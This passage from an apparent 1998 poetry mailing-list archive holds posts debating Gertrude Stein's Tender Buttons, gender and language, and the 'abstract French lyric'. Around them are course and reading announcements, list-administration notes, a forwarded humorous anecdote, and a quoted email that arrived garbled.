of fem & gay liberation, they would have preferred that Stein confine herself to these issues in her writing. How liberating. Gass and Ruddick are correct when they speak of Stein's private jokes and punning, to the extent that these jokes *do* appear in her writing. They do not constitute the main of it, though, and it doesn't seem at all necessary to refer to them as a "private language of *lesbian* experience." They're private jokes, period. Indulgences, and perhaps a weakness in Stein's writing. There probably aren't many writers of any era, gender, or sexuality that haven't stuck a private joke in here or there in their writings. It's difficult to resist--and may be even more so when you keep hearing that no one understands any of your work, anyway. I do not believe it is something that should be particularly focused on in an exploration of Stein's work.

Another Pro's Take: Charles Bernstein argues that, in *TB*, Stein abandons the signifying function of language altogether, evoking instead the sounds, the non-referentiality of words. CB says the desire to "decode" GS reflects the reader's "misplaced urge to make sense of poetry."

My Reaction to Bernstein: GS obviously plays with sound in *TB*; one of the more amusing "plays" appears in "ROASTBEEF," when the paragraph beginning "Lovely snipe and tender turn" slips aggressively into rhymed tetrameter--clearly a "referential" move, one that refers to capital-P poetry. It seems to me that the desire to "decode" *TB* does indeed reflect a misplaced urge of the reader--not the urge to make sense of poetry, but the urge to make sense of, as seen above, a lesbian who doesn't use lesbian catch-phrases in her work. I simply do not think it possible to logically claim that Stein "abandons the signifying function of language altogether." For one thing, she preserves syntax and uses a fairly constant tone--one of a primer, sometimes, of someone making true, indisputable statements. There's also a frequent use of negatives: "this is not," "this does not make," "this is no," etc.--declaratives, "proofs," etc. She *might* be playing with the idea that one can communicate/teach through silly old words, she *might* be making fun of sense in the way it's popularly conceived. But here again, it seems to me that she's simply re- inventing/freshening an old idea of what making sense *is*. By which I mean that she *is* making sense in *TB*, but in a new way, in a way that forces the reader to question "sense" and making it in the same way that K. and I were forced to question sexual scripts. To say that *TB* does not make sense and is not representational is akin to saying that a Cubist painting does not make sense and is not representational. Of course a Cubist painting is representational of reality. It's representational of multiple realities/perspectives, though. It changes the boundaries of what is meant by "reality." In this, Cubism seems to me *very* purposeful, very scientific--an absolutely logical reponse of painting to photography, which at that time was "taking over" traditional representational painting. GS' work has been

compared to Cubist paintings, and some of the poems in *TB* read almost like word-painting representations of their titles (for ex. "A METHOD OF A CLOAK," "WATER RAINING," and the--menstrually-ruined?--petticoat of "A PETTICOAT"). What's interesting is that, while Cubism follows naturally from photography's "threat" to "directly representational" painting (naturally in time/history), Stein's forms could really, as avant- garde as she seemed then and does even today, have happened ages before Stein "invented" them. Writing as a method of representing reality has *always* occupied a challenged space, and poetry in particular had long been seen as something "other" than the representation of reality, whether it be seen as a "heightened" reality or whatever. "Real people don't speak in rhymed meter," etc. It seems the most obvious thing in the world to say "Stein was before her time," but was she *really*? I can think of nothing occurring in history at Stein's particular moment that made her form "necessary" *right then*, as Cubism & abstract expressionism seemed necessary to the survival of painting in a photographable world. It could've happened a century, centuries earlier. I imagine Stein understanding this and being absolutely at a loss as to why others considered her work so "out there." I imagine her almost laughing because she'd "lucked in" to her genius-ness: noticed what, "unbelievably!", no one had noticed before. It could be said, bizarrely, that Stein's writing is both primitive and avant-garde. She alternately telescopes and microscopes, steps incredibly close to and back from objects. The *TB* phrase "Object that is in wood," from the poem "A WAIST," reminds one of an archaeologist reporting on an artifact whose use is unknown. Whatever the "object that is in wood" is, no one who knows the name of said object would refer to it as an "object that is in wood." An observation that basic is (nearly) no longer available when one knows the name of the object. Your generalized poet would take the name of the object and then add description *to the name*, would build on the given. Here, Stein builds *backwards* from the given. Somewhere Anne Sexton writes that a poet is one who builds trees out of wood furniture. I do not think this is often the case, but with Stein, with "object that is in wood" and its equivalents, it is apt. I guess I'd say here GS works to uncover what the "civilized, educated" psyche *smooths* over--what is no longer available to the all-too-trained (and rushed) eye. Stein's dealing with the psyche, here, as she does in more obvious ways *Three Lives* and *The Making of Americans* (and there it is only more obvious because she's actively questioning the motives/architecture of different personality "types"--whereas here, it's any reader's, any observer's, psyche that is being not questioned, but, in some way, restored: Stein is really restoring ways of seeing that have been lost, as much as or more than she is inventing new ways of seeing).

Misc. Notes (not on Tender Buttons) Always controversial is Stein's statement "There is no such thing as repetition," esp. since so many readers read her as

repetitive: in The Making of Americans, some of the portraits., etc. (not TB). "Repetitive"-looking passages in Stein are often permutations, not repetitions of a phrase (a compliment Stein always cherished was someone's comparison of her work to Bach's fugues). But there ARE certain sentences repeated verbatim, and more than once. What were these to Stein, if not repetitions? How should we read them? Okay, my thesis: it's not at all hard to argue that one can't repeat the same sentence when speaking. It'll never sound exactly the same way twice--the timbre of the voice might vary, a car might pass by, acts of speech are inherently acts of performance, etc. I think Stein is insisting that neither can one type the same sentence twice. Perhaps forcing us to imagine the conditions under which each sentence was typed. There can be no repetition because this sentence was typed at 10:41, and this sentence, which contains exactly the same words, at 10:42. Hence Stein's concept of the "continuous present." I think? If so, she was bumping against the langue v. parole debate somewhat before the debate supposedly officially started (at least as we read it today). Claiming the same primacy (and indeterminacy?) for the written as for the spoken word. And for the read word: I read the sentence in different conditions than you, so each sentence is endlessly new. Hmm.

Re: femtheory, lesbians, & gender identity: In addition to saying that the "woman question" didn't concern her, Stein referred to herself as "husband" and Alice as "wife" (Stein & Picasso in one room discussing art, their wives dicussing hats and perfume in the other room). It would be wrong, however, to label theirs a butch-femme relationship. Stein was no butch. There were famous butches in Paris at the time: Radclyffe Hall, Lady Una Trowbridge, etc., as well as famous femmes: Natalie Barney, etc. These butches dressed the part--hats, trousers, ties, short slicked- back hair. Stein wore skirts, not pants, and only cut her hair to Caesar-length quite late in life. It would be more accurate to view theirs as a male-female relationship than a butch-femme one...that is, more accurate to see Stein as "transgendered" than as a lesbian. The woman question did not concern her because she was not a woman. This may be hard to grasp, and it's hard to communicate. But butch-femme relationships are highly coded ones, and dress is an essential--perhaps THE essential--marker of them. And when I say "transgendered," I don't necessarily mean that Stein thought of herself as a man. I think she thought of herself as a Stein (or a genius)--somehow outside of gender. She seems to have dressed in whatever she found comfortable, rather than making the very active & time-consuming decisions a butch must in putting together a coded appearance. Similarly, in "Patriarchal Poetry," where Stein denounces "Patriarchal Poetry," I think it's a definite mistake to read this as a denouncement of poetry by men. Huge! Some fem-lesbs latch onto this one poem as "proof" that Stein was politically conscious and cared about them. But by "patriarchal poetry," I believe Stein

means "establishment poetry," or canonical verse. Not all men write patriarchal poetry, and some women do. There is no call for a "matriarchal" poetry, and remember that Stein was buying non-establishment paintings by men before anyone else-- *while* everyone else was defacing them at painting exhibitions. It would be the same "patriarchy" keeping these male painters from being appreciated that kept Stein's work from being appreciated...

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338. Kathy Lou Schultz

Special to Bay Area teachers/students (Course Announcement)

Wed 9 Dec 1998

I would appreciate your help in spreading the word about this course. It is open both to students who are enrolled in the "regular" university AND to those who are not. (Come one! Come all!) Students receive 3 units of credit in creative writing, which counts toward the major. Thanks.--KLS

WINTER SESSION COURSE

Creative Writing 510: Personal Narrative

CW 0510-01 (J) 3.0 Units
01/04/99—01/21/99 MTWTH 0900—1245 HUM 384
San Francisco State University College of Extended Learning

Description: This multi-genre, upper-division writing course will examine the ways in which writers transform the raw material of personal experience into publishable works of art. Students will read genres including the novel, memoir, short story, personal essay, and the long poem. Topics to be covered include work, family, sex, personal/history, politics, and the writing life. Throughout the course students will be encouraged to push the boundaries of what we define as both "personal" and "narrative." Responses to the texts (both critical and creative), in-class writing assignments, and a final project are required. We will also spend time workshopping student work.

Texts include: Bastard Out of Carolina by Dorothy Allison, Beneath The Underdog: His World As Composed by Mingus by Charles Mingus, This Boy's Life: A Memoir by Tobias Wolff, Dictee by Theresa Hak Kyung Cha, My Life by Lyn Hejinian, essays by Joan Didion, The Letters of Mina Harker by Dodie Bellamy, Marjorie Kempe by Robert Gluck, and selections from Working Classics: Poems on Industrial Life.

Instructor: Kathy Lou Schultz, MFA has published poetry, prose, critical essays, and book reviews in a variety of journals including Mirage, Tripwire, Idiom, Outlet, Lyric&, and Fourteen Hills. Recent work is also forthcoming in Rhizome and Kenning. Her collection of poems, Re dress, was selected by Forrest

Gander as the winner of the Michael Rubin Award given by San Francisco State University. Kathy Lou is co-editor of Lipstick Eleven, a magazine of experimental writing.

For more information, contact the instructor at: [redacted] or [redacted]. The number for SFSU College of Extended Learning is [redacted]. The schedule number for this course is 10356.

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339. Tom Orange
call me morbid call me pale
Wed 9 Dec 1998

---

anselm, beth:

by "abstract french lyric" my guess at the work being referred to would be that of anne-marie albiach, claude royet-journoud, perhaps also dominique fourcade, jacqueline risset, jean daive, phillipe denis, and of a slightly older generation, jacques dupin, andre du bouchet, et al. french originals might be had at a good library, and translations available from presses like sun/moon, burning deck, post apollo...

hoping that helps,
t.
[redacted]

---------- There are no straight lines, neither in things nor in language. Syntax is the set of necessary detours that are created in each case to reveal the life in things. -- Gilles Deleuze ----------

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340. George Bowering
Re: A response to Charles Bernstein
Wed 9 Dec 1998

What makes me reach for the delete key is the damned godawful Length of a lot of those argumentative posts.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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341. George Bowering
Re: re The Cold of Poetry/Em's strand
Wed 9 Dec 1998

Now that last Bromige posting on Bukowski---that was long, and it was worth it, because it was a literary discussion, not a lot of dressing down of some other gink on a minor point.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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342. Susan Clark
RADDLE MOON again
Wed 9 Dec 1998

---

hello, I notice that a couple of people asked about the address for RM subscriptions, so I thought I'd repost my earlier post;
for further information,
please contact Susan Clark at [redacted].

****

Announcing the publication of RADDLE MOON 17
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Erratum: Marie Annharte Baker's name is spelled [consistently] incorrectly throughout the issue as Annehart. Most issues were shipped before this error was noticed and so lack erratum slips. Apologies to Marie.

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343. **Douglas Oliver**
Re : Abstract lyric
Wed 9 Dec 1998

Hi Anselm! I think Simon's "Reverie" on the French abstract lyric is a little off-base. Hi Simon! As I understand it, the term was introduced more recently to explain why contemporary French post-Derridean poetry which, in Celan-like terms, raised the problem of the lyric voice nevertheless had a lyric look and feel to it, as indeed Celan's poetry had. The lyrical tendency is abstracted into a play of language influenced by a theoretics; and the personal emotional content is cauterised or ablated or something, although the impulsion of poet into poetry remains what it always has been, from the gut. But the lyrical music still lives along the fragmented lines, and let's not even mention "erasure" please! Perhaps the finest example, if I'm right in my derivations, would be Anne-Marie Albiach's work, some of it recently translated by Keith Waldrop as Geometry. But I think more particularly of her Etat and Viva Voce. When you hear her read (not usually possible), you can sense what I can only call a lyrical time interval occur within the Mallarméan white spaces of the page. The specifically post-Derridean movement in French poetry really began, following Tel Quel mag of the sixties, with Claude Royet- Journoud's, Anne-Marie's, and Michel Couturier's magazine Siècle à Mains in 1969-70 in my opinion.

Doug

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344. **izak**
Transfer Reading
Wed 9 Dec 1998

Reading for Transfer 76

Monday, December 14th
from 7 to 9 p.m.
at the Poetry Center
San Francisco State University

FREE

* Mike Freeman
* Ruth Goldstone
* Cynthia Green
* Dana Teen Lomax
* Sarah Mangold
* Dan Mayer
* John Monroe

* Rose Najia
* Sarah Rosenthal
* Cynthia Sailers

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345. miekal and
f.y.i.
Wed 9 Dec 1998

> *{{Courtesy of Andy}}*
>
> *August, 1998, Montevideo, Uruguay:*
>
> *Paolo Esperanza, bass trombonist with the Simphonica Mayor de Uruguay, in a misplaced moment of inspiration decided to make his own contribution to the cannon shots fired as part of the orchestra's performance of Tchaikovsky's 1812 Overture at an outdoor children's concert.*
>
> *In complete seriousness he placed a large, ignited firecracker, which was equivalent in strength to a quarter stick of dynamite, into his aluminum straight mute and then stuck the mute into the bell of his quite new Yamaha in-line double-valve bass trombone.*
>
> *Later, from his hospital bed he explained to a reporter through bandages on his mouth, "I thought that the bell of my trombone would shield me from the explosion and instead, would focus the energy of the blast outwards and away from me, propelling the mute high above the orchestra, like a rocket."*
>
> *However, Paolo was not up on his propulsion physics nor qualified to use high-powered artillery and in his haste to get the horn up before the firecracker went off, he failed to raise the bell of the horn high enough so as to give the mute enough arc to clear the orchestra.*
>
> *What actually happened should serve as a lesson to us all during those delirious moments of divine inspiration. First, because he failed to sufficiently elevate the bell of his horn, the blast propelled the mute between rows of players in the woodwind and viola sections of the orchestra, missing the players and straight into the stomach of the conductor, driving him off the podium and directly into the front row of the audience.*
>
> *Fortunately, the audience were sitting in folding chairs and thus they were protected from serious injury, for the chairs collapsed under them passing the energy of the impact of the flying conductor backwards into*

> *row of people sitting behind them, who in turn were driven back into the people in the row behind and so on, like a row of dominos. The sound of collapsing wooden chairs and grunts of people falling on their behinds increased logarithmically, adding to the overall sound of brass cannons and brass playing as constitutes the closing measures of the Overture.*
>
> *Meanwhile, all of this unplanned choreography not withstanding, back on stage Paolo's Waterloo was still unfolding. According to Paolo, "Just as he heard the sound of the blast, time seemed to stand still.*
>
> *"Everything moved in slow motion. Just before I felt searing pain to my mouth, I could swear I heard a voice with a Austrian accent say "Fur every akshon zer iz un eekvul un opposeet reakshon!"*
>
> *Well, this should come as no surprise, for Paolo had set himself up for a textbook demonstration of this fundamental law of physics. Having failed to plug the lead pipe of his trombone, he allowed the energy of the blast to send a super heated jet of gas backwards through the mouth pipe of the trombone which exited the mouthpiece burning his lips and face.*
>
> *The pyrotechnic ballet wasn't over yet. The force of the blast was so great it split the bell of his shiny Yamaha right down the middle, turning it inside out while at the same time propelling Paolo backwards off the riser. And for the grand finale, as Paolo fell backwards he lost his grip on the slide of the trombone allowing the pressure of the hot gases coursing through the horn to propel the trombone's slide like a double golden spear into the head of the 3rd clarinetist, knocking him unconscious.*
>
> *The moral of the story? Beware the next time you hear someone in the trombone section yell out, "Hey, everyone, watch this!"*

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346. **Alaric Sumner**

British Poets in digest form

Wed 9 Dec 1998

Ron Silliman suggested that british-poets does not have digest. This is untrue. If you are a member of the list then you can set and unset digest thus:

> *Setting digests*
>
> *To receive messages as a digest, send this command to* [redacted]
>
> *set british-poets digest*
>
> *And to stop receiving messages as a digest, send this command to*

> [redacted]
>
> *set british-poets nodigest*

±±±

langauge is not necessarily non-signifying langauge. Stein would have understood this as well, being a student of William James. Tender Buttons does indeed signify all over the place, though I don't believe it is particularly concerned with the referentiallity of language.

But - in regards to the quote from you above, I'd be inclined to agree with you. Particularly in regards to your statement that "it does not appear to me that Stein is hiding anything in her writing." TB has always seemed to me not a repressed work in the least -- not a matter of closeting or any such thing. To believe so would be to drop Freud very oppressively into Stein's brain and, again, as far as psychology is concerned, Stein is not a Freudian bu a Jamesian. So what else is there to say then. Well, I think there's another way to talk about *codes* without talking about *hiding*. And here it is: I think then when we're dealing with TB we are properly in the realm of slang. Here's Paul Goodman on slang and I think it's pretty relevant to what's going on it TB:

"Much of slang is first invented as a neologism of a gang or special group...yet it comes into circulation *as slang* by breaking out of its sub-culture. When the boundary is broken, there is a different kind of language, not self-naming and defensive but common and wild...slang creates new language just like poetry, and it can be regarded as a kind of folk poetry...Whitman says, 'Slang is the lawless, germinal element below all words and sentences and behind all poetry.'"

So, when we're talking about lines like "rub her coke" I would say, as I think you said, that we're not talking about language which is secret and coded but, as Goodman says, "common and wild." That's what's so great about it! What the hell's so fun about saying Stein was trying to hide the fact that she was a dyke? Not only does it seem quite wrong, it seems - worse! - boring. Stein's *intent* doesn't interest me that much but if I had to address it I would say that she knew enough about the nature of language as fundamentally *public* (i.e., collaborative, un-hideable, un-tameable, circuitous) to understand that one's codes never stay hidden - they move out into common arenas and do work with/on/against/through other codes.

As an aside, I'd like to say that this sort of talk (the kind Emily initiated) is an important part of this list. It's not just announcements and the occassional brief, inevitably kind review. I know that to open it up to more than this risks occassional chaos, hurt feelings, and abandonment by listmembers we admire. But I also believe (and I say this with full sympathy for posts such as the recent one from Juliana) that the list cannot remain viable and vital if it is merely an uncontentious bulletin board. Thanks. -Mike.

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348. **Gwyn McVay**
Re: three questions
Wed 9 Dec 1998

Bob,

To grok "redshifting web" in a possible Buddhist context, search on either "Indra's web" or "Indra's net"--Hindu-Buddhist version of "a thousand points of light," sorta.

Gwyn

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349. **Pattie McCarthy**
Re: Erasing
Wed 9 Dec 1998

In a message dated 12/9/98 12:28:35 AM, you wrote:

<<Rachel speaks of textuality linked to the depths of ethical and social and poetic feeling -- to differentiate from a kind of abstract literary fascination -- and I agree with her. Treblinka was to be covered over and made into a park. So, then, what is the opposite of erasure? Inscription? Imposition? Bloating up the void? Being written down? A deep sense of presence?>>

but isn't erasing / forgetting more strenuous than remembering? I agree that this cld never BE an abstraction. had Treblinka been made into a park, I don't suspect many wld have forgotten that it had been Treblinka -- cld it have ever become a void, truly? or, in a broader sense, cld anything erased become void? or wld it become something else entirely -- itself transmuted in an attempt to erase? which then, textually, does it become itself plus the process? in which case itself 'erased' is more charged than forgotten? I agree w/ "erasure as a positive complement to inscription" but find myself wandering here in this maze of what is the void & how is this inescapable? Rachel's poem excerpted earlier begins : "It's true that every ending only erases the board / rather than filling it." which seems to embrace the inextricable entaglement of forgetting / remembering & their simultaneous natures. so then, yes -- what is the opposite of erasure but also what is erasure? usually lurking, Pattie

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350. **Joe Brennan**
Fwd: blick
Wed 9 Dec 1998

This is a multi-part message in MIME format.

--part0_913216830_boundary

in an effort to give HG an opportunity to respond to CB in front of the only audience for whom it's important, I forward this to the List.

joe brennan

--part0_913216830_boundary

air-za03.mail.aol.com (v53.20) with SMTP; Tue, 08 Dec 1998 21:50:16 1900
by rly-za02.mx.aol.com (8.8.8/8.8.5/AOL-4.0.0)
with SMTP id VAA01014 for <[redacted]>;
Tue, 8 Dec 1998 21:50:14 -0500 (EST)
Resent-Message-Id: <[redacted]>
with BSMTP id 7862; Tue, 08 Dec 98 21:50:07 EST
(LMail V1.2a/1.8a) with BSMTP id 5949; Tue, 8 Dec 1998 21:50:08 -0500
Resent-Date: Tue, 08 Dec 98 21:48:40 EST
Resent-From: henry <[redacted]>
Resent-To: [redacted]
Date: Tue, 08 Dec 98 21:27:40 EST
From: henry <[redacted]>
Subject: blick
To: gabe <[redacted]>

Dear Joe, I forwarded this to Kent also. I wish somebody would post to list. as my last say. Bernstein appears to have hunkered down for the long phony haul. Bizzarro. - Henry

----------Original message---------- Hey Gerber,

you still breathin there, foxhole?? I'm following it on the website.

Bernstein let quite a big one there. I wish somebody would clarify oncet & for all why I quit. It was the censorship, not the limitation. The fact that 2 of my "reviewed" posts got disappeared. Kent & Mairead are gettin there...

plus he makes it sound like I was constant overposter. blow. he warned me abo ut 3-4 times tops over the last 3 yrs. Evry time I consented to his demand & reduced posting. politics, baby.

the smear about intimidating people. he shd talk. I treated everybody to the same candid sop. rough sometimes, maybe. but hey, are we baby consumers here, looking for a magazine rack?? I tried to stick to the issues.

can you forward this to somebody? I can't reply. Bernstein has slandered me.

- Henry

--part0_913216830_boundary--

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351. Mark Prejsnar
Call me abstract, call me French
Wed 9 Dec 1998

"The abstract French lyric" is an infamous coinage of Ron Silliman's, in Philly Talks. He claimed that this was what most poets were today publishing (not including the workshop types, natch). And that it was very limited and limiting, that most people were only doing the A.F.L. This occasioned much bemused head-scatching, here in @lanta, and elsewhere. The "French" is especially intriguing. Totally off-base, i would say; but intriguing and provocative. Is it because contemporary post-L=A=N=G tendencies trace back historically to Rimbaud and Mallarme? Certainly Char and surrealism are not the primary inputs in contemporary u.s. work! (Throwing down the gaunlet here to RS, to defend his honor)

mark p.

On Tue, 8 Dec 1998, schuchat wrote:

> *I don't know French, so I am probably the best person to answer your query.*
>
> *The "abstract French lyric" is by Pierre Reverie.*
>
> *The "French abstract" lyric is an academic piece, a song about a list of articles either in French or on French.*
>
> *Can the "Abstract" French "Lyric" can cut the mustard?*
>
> *Le lyric abstruit Fran-swa? C'est moi!*
>
> *However, there is also the possibility of Isidore Isou, the Romanian (naturellement) inventor of Le Poesie Lettriste, who wrote "in French" to the extent that lettriste poesie would be in a language.*
>
> *It is possible that Andy Britain also wrote a French abstract lyric.*
>
> *As we say in Russia, "etot vsou"*

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352. Rachel Levitsky

Re: Stein,Charles,&LesbianCodes:one girl's fantasy "Oprah"

Sun 9 Dec 2012

Murmur pet murmur pet murmur.
Push sea push sea push sea push sea push sea push sea push sea push sea.
Sweet and good and kind to all.
--Stein from Sacred Emily

Emily,

Thanks for your Stein posts, they are great. Who are the feminists you take issue with? I think the issue of what Stein was thinking about is slippery, clearly her work is no political gripe even when she is head on the subject of global politics, mostly her thoughts observations are fodder for the experiments. Some of her projects seem more transparent to me as a reader than others. Maria Damon's discussion of Yet Dish as Yiddish in her essay in _the dark end of the street_ came as a revelation to me, and I can no longer think German w/o hearing 'gem in' or Polish without 'a polish' or Russian, 'rush in slice' (and then I rush to Brighton Beach to have a rush in slice of smoked salmon)

As far as her gender identification--yes perhaps not an issue, she liked girls and girls was good but what if she didn't like girls? I mean don't you think the desexualization of men is meaningful to her accomplishment? Also, I think that the time and place of Paris when GS was writing there, while N.Barney et al were saloning it up was the last time before the 1990's when there was an actively aestetic context for lesbians. "Lesbian" per say may not be an aestetic category but social context--as separate as she was from it--could allow Stein to have a 'so what' attitude and yet not be rendered invisible by denial. She was separate but in contact with the both the lesbian scene and the black scene, and my sense is that these were important to her in terms of being "of her time" rather than outside of it, ahead of it, which she flatly denies as a possiblitity. "No one is aheat of his time, it is only that the particular variety of creating his time is the one that his contemporaries who also are creating their own time refuse to accept." (Composition as Explanation) Which to me is a great rebuke to those prissy gasps and the fact that GS counted her self among a handful of world geniuses--there are varieties of being genius, someone else could have her handful too. I'm going off here but I think what's shocking is that Stein (and this goes back to Damon) had the chutzpah to say what she thought of herself and what allowed her to indulge in the experiment of writing. It's more palpable and gentile in these parts to say "I'm nobody! Who are you?"

So, by the way, who are people's five living geniuses? I'll have to think about that myself.

By the way, check out below what happened to your post on my server.
How much did I miss?
Emily Lloyd wrote:
>
> WÃüTpbo\Þùrw¶´Íï}
> P[ÿév½üõÃ|Rœ` ‡–ÇÉ•mkË_åRØ¹*í •“|_ ï×ºùÝo‡¥,ßww¼c†–¹\à
> ¯ Æn6ošÅìåûÖ¶Æb¦ïA{aÿu™ÍÖ}0 ý_úž9É F4¡],àïšyÊ~¶ÿí˜#=éò¾¶Ä’>r!jÜâ
Â—q®n;\ê?—zÎvÞp¦C½Ñ&/xÕ 6²|/ã?' {Ì!
> ï‘]Käùè6È ¯«i½Ûï:Ø·ã-1l‰ÍãcÚÛUÆ´ ÷láF'Û¼ènsº×d
³ûÝ¼F·¹ÁœîyÃÛ¿çÞtM
> œovóóÞêæî»y]^˜à ··½ þ^}‹t£Õ °¼‘{ð ·›µ¼µ8!.ßˆWÜà ¯,
{GNr¥º·ä=íÈC{Ùà~Ö¬/ kË³\Ï Ä|ª %î?onXž'ö¤*Ç)SË:Ú ¸Ü±.å«\ 9[tÂŽv«< :W“
and eventually the bickering banter will die away
>
> on another BOOKSALES oriented front,
> did anyone else hear the news that BARNES & NOBLE has purchased
> INGRAM DISTRIBUTION?
>
> I thought Ingram was long gone already....any info here would be greatly
> appreciated.
>
> ould be greatly
> appreciated.
>
> he most extensive book distribution
> > >system in the country, enabling online book buyers to get books
> > >as fast as possible. (Imagine the advertising tagline: "Every book
> > >tomorrow.") B&N also takes control of Amazon.com's largest
> > >wholesaler-supplier. (In 1997, Ingram supplied 58% of Amazon.com's
> > >books, although that percentage likely has dropped significantly
> > >following Amazon.com's opening of a warehouse in Delaware and
> > >generally diversifying its sources of supply.)
> > >
> > >The Wall Street Journal speculated today that the FTC and
> > >Justice Department would approve the purchase because it is a
> > >"vertical" purchase, i.e., not the purchase of a company in the
> > >same part of the business. The ABA is campaigning for government
> > >disapproval and reported that a Justice Department spokesperson
> > >said that the purchase is "definitely something that would come
> > >under review." But the Bertelsmann purchase of Random House
> > >was approved earlier this year with no problem, and the
> > >government has shown more concern with purchases that result

> > >in a combination that dominates one segment of an industry.
> > >
> > >Blurred somewhat by the focus on online bookselling, however,
> > >is what the purchase means for both the country's largest book
> > >retailer and largest book wholesaler.
> > >
> > >At B&N, this purchase is the latest sign of how seriously the
> > >company views the potential of online bookselling and shows
> > >that B&N is once again reinventing itself.
> > >
> > >But reinvention this time is occurring with much more speed
> > >and less control than in the early 1990s, when B&N gradually
> > >went from being the biggest mall bookseller to the largest book
> > >superstore operator. (That superstore strategy, incidentally,
> > >seems to have lost steam. One measure: the pace of B&N
> > >superstore openings has declined dramatically from 90-95 a
> > >year to only 11 in the first half of the current fiscal year.) At
> > >that time, B&N set the pace and stayed in the lead as a new
> > >retail concept swept through the book world. This time, it was
> > >blindsided by Amazon.com and appears to be desperately
> > >playing catchup. (For its part, Borders, B&N's primast importantly, *pow-
erfully* erotic.
> Would Eliz. Frost have it read "Rub her clit"? Does she think this really
> reads as a command to fondle someone's soda-pop bottle? I think of the
> time K. and I were interrogating the ways in which pop-culture sexual
> scripts filtered into our own lives as if naturally--how K., an atheist,
> would say "Oh, God" during sex--and so we actively decided to try and
> eroticize previously "non-erotic" phrases (say, "I'm a little teapot") by
> using them in a sexual context. Of course this works. Basically, one is
> freshening, or re- inventing, sex, as one might say that GS freshens, or
> re-invents, language. One is naming. While I'm not convinced that the
> question of whether or not GS was politically "radical" enough in her
> poetry is the place to start interrogating her form, it seems clear that
> this naming, freshening, or whatever you want to call it, is radical at a
> far less surface level than penning "I love you, you love me,
> homosexuality!" It is also re-naming/inventing sex & lang. in a far less
> narrow way: by this, I mean, NOT just for lesbians. Dudes can rub her
> coke, too. She can rub a dude's coke, and then we have to re-guess what
> coke might mean. Insofar as GS' work contains specifically lesbian
> content (in places in *TB*, more obviously in "Miss Furr and Miss Skeene"
> and "Lifting Belly"), it seems to me that she is embracing erotic
> experience, period, and that "lesbian sex" is simply the context in which

> she knows it. She's not trying to exalt lesbianism over other erotic
> experiences, as so many lesbian writers seem hell-bent on doing: Stein is
> in no way *defensive* about her sexual choices. *She's not on the
> defense, so she doesn't need to be on the offense.* I expect fem.
> theorists make their mistakes about Stein because they find it impossible
> to explain how she could be so utterly open, so "so what," about her
> lesbianism in the early 1900s, when VERY few lesbian writers are "sho
> what" about it even now. It IS almost impossible to believe. However,
> that's how it was, I think. To the greatest possible extent, Stein seems
> (in life, at least) to have simply expected others to rise above thinking
> there was anything special about her being a dyke...this "aside" should
> certainly pale, she'd think, to her being a "genius." Which she was
> convinced she was, with relatively little public support to substantiate
> her claim. A genius is not a woman, or a lesbian, or a man, or
> what-have-you (Stein might think). It's another species. It should not
> be disturbed with such trivial things as objections to its sex, sex life,
> weight, etc. And, for the most part, it seems that she wasn't (by salon
> visitors, etc.). This must, to some extent, have been due to her demeanor
> (and her charisma). Everyone knows that you can get away with shoplifting
> if you just walk in the store acting as though it were your right, and
> nothing out of the ordinary, to pocket something. Note that there was a
> large, tight-knit community of lesbians and bi women on the left bank in
> Stein's time, salon-ing at Natalie Barney's place--and that Stein had
> nothing to do with them. Why? Because they were not geniuses. Picasso,
> Alfred Whitehead-- others Stein considered geniuses--were her chosen
> company. Today's fem theorists gnash their teeth upon hearing that GS,
> when asked what she thought of "The Woman Question," replied that it had
> nothing to do with her. They are unable to understand how it had nothing
> to do with her. In the name of fem & gay liberation, they would have
> preferred that Stein confine herself to these issues in her writing. How
> liberating.
> Gass and Ruddick are correct when they speak of Stein's private
> jokes and punning, to the extent that these jokes *do* appear in her
> writing. They do not constitute the main of it, though, and it doesn't
> seem at all necessary to refer to them as a "private language of *lesbian*
> experience." They're private jokes, period. Indulgences, and perhaps a
> weakness in Stein's writing. There probably aren't many writers of any
> era, gender, or sexuality that haven't stuck a private joke in here or
> there in their writings. It's difficult to resist--and may be even more
> so when you keep hearing that no one understands any of your work, anyway.
> I do not believe it is something that should be particularly focused on in
> an exploration of Stein's work.

>
> Another Pro's Take: Charles Bernstein argues that, in *TB*, Stein
> abandons the signifying function of language altogether, evoking instead
> the sounds, the non-referentiality of words. CB says the desire to
> "decode" GS reflects the reader's "misplaced urge to make sense of
> poetry."
>
> My Reaction to Bernstein: GS obviously plays with sound in *TB*; one of
> the more amusing "plays" appears in "ROASTBEEF," when the paragraph
> beginning "Lovely snipe and tender turn" slips aggressively into rhymed
> tetrameter--clearly a "referential" move, one that refers to capital-P
> poetry. It seems to me that the desire to "decode" *TB* does indeed
> reflect a misplaced urge of the reader--not the urge to make sense of
> poetry, but the urge to make sense of, as seen above, a lesbian who
> doesn't use lesbian catch-phrases in her work. I simply do not think it
> possible to logically claim that Stein "abandons the signifying function
> of language altogether." For one thing, she preserves syntax and uses a
> fairly constant tone--one of a primer, sometimes, of someone making true,
> indisputable statements. There's also a frequent use of negatives: "this
> is not," "this does not make," "this is no," etc.--declaratives, "proofs,"
> etc. She *might* be playing with the idea that one can communicate/teach
> through silly old words, she *might* be making fun of sense in the way
> it's popularly conceived. But here again, it seems to me that she's
> simply re- inventing/freshening an old idea of what making sense *is*. By
> which I mean that she *is* making sense in *TB*, but in a new way, in a
> way that forces the reader to question "sense" and making it in the same
> way that K. and I were forced to question sexual scripts. To say that
> *TB* does not make sense and is not representational is akin to saying
> that a Cubist painting does not make sense and is not representational.
> Of course a Cubist painting is representational of reality. It's
> representational of multiple realities/perspectives, though. It changes
> the boundaries of what is meant by "reality." In this, Cubism seems to me
> *very* purposeful, very scientific--an absolutely logical reponse of
> painting to photography, which at that time was "taking over" traditional
> representational painting. GS' work has been compared to Cubist
> paintings, and some of the poems in *TB* read almost like word-painting
> representations of their titles (for ex. "A METHOD OF A CLOAK," "WATER
> RAINING," and the--menstrually-ruined?--petticoat of "A PETTICOAT").
> What's interesting is that, while Cubism follows naturally from
> photography's "threat" to "directly representational" painting (naturally
> in time/history), Stein's forms could really, as avant- garde as she
> seemed then and does even today, have happened ages before Stein

> "invented" them. Writing as a method of representing reality has *always*
> occupied a challenged space, and poetry in particular had long been seen
> as something "other" than the representation of reality, whether it be
> seen as a "heightened" reality or whatever. "Real people don't speak in
> rhymed meter," etc. It seems the most obvious thing in the world to say
> "Stein was before her time," but was she *really*? I can think of nothing
> occurring in history at Stein's particular moment that made her form
